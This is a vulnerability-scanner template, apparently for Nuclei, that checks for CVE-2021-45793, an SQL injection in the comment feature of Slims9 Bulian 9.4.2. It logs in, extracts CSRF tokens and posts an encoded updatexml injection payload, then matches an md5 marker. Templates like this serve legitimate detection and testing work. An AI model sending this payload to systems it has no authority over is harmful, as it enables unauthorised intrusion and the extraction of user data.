漏洞描述
Slims9 Bulian 9.4.2 is affected by SQL injection in lib/comment.inc.php. User data can be obtained.
id: CVE-2021-45793
info:
name: Slims9 Bulian 9.4.2 - SQL Injection
author: nblirwn
severity: high
description: |
Slims9 Bulian 9.4.2 is affected by SQL injection in lib/comment.inc.php. User data can be obtained.
reference:
- https://github.com/slims/slims9_bulian/issues/123
- https://nvd.nist.gov/vuln/detail/CVE-2021-45793
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
cvss-score: 7.5
cve-id: CVE-2021-45793
cwe-id: CWE-89
epss-score: 0.19286
epss-percentile: 0.95162
cpe: cpe:2.3:a:slims:senayan_library_management_system:9.4.2:*:*:*:*:*:*:*
metadata:
max-request: 3
vendor: slims
product: senayan_library_management_system
tags: cve2021,cve,slims,sqli
variables:
num: "999999999"
flow: http(1) && http(2) && http(3)
http:
- raw:
- |
GET /index.php?p=member&destination= HTTP/1.1
Host: {{Hostname}}
- |
POST /index.php?p=member&destination= HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
memberID={{username}}&memberPassWord={{password}}&_csrf_token_{{csrf_token}}={{csrf_token2}}&logMeIn=Login
extractors:
- type: regex
name: csrf_token
part: body
group: 1
regex:
- 'name="_csrf_token_([a-f0-9]+)"'
internal: true
- type: regex
name: csrf_token2
part: body
group: 1
regex:
- 'value="([a-f0-9]+)"/>'
internal: true
- raw:
- |
GET /index.php?p=show_detail&id=1 HTTP/1.1
Host: {{Hostname}}
extractors:
- type: regex
name: csrf_token3
part: body
group: 1
regex:
- 'value="([a-f0-9]+)"/>'
internal: true
- raw:
- |
POST /index.php?p=show_detail&id=1 HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
comment=%27and%2F**%2F1%3D%28updatexml%281%2Cconcat%280x3a%2Cmd5%28{{num}}%29%29%2C1%29%29%2F**%2Fand%2F**%2F%271%27%3D%271&SaveComment=Save+comment&_csrf_token_{{csrf_token}}={{csrf_token3}}
matchers-condition: and
matchers:
- type: word
part: body
words:
- "c8c605999f3d8352d7bb792cf3fd"
- type: status
status:
- 200
# digest: 490a00463044022039d4a0d247fe1ba6182bb4184d39fab94e16611bf490a54ebd241c22c45cfdab0220714c4887f488fa148ac72107769faa523051a8d7e8f75ca7346eff6cc6e313be:922c64590222798bb761d5b6d8e72950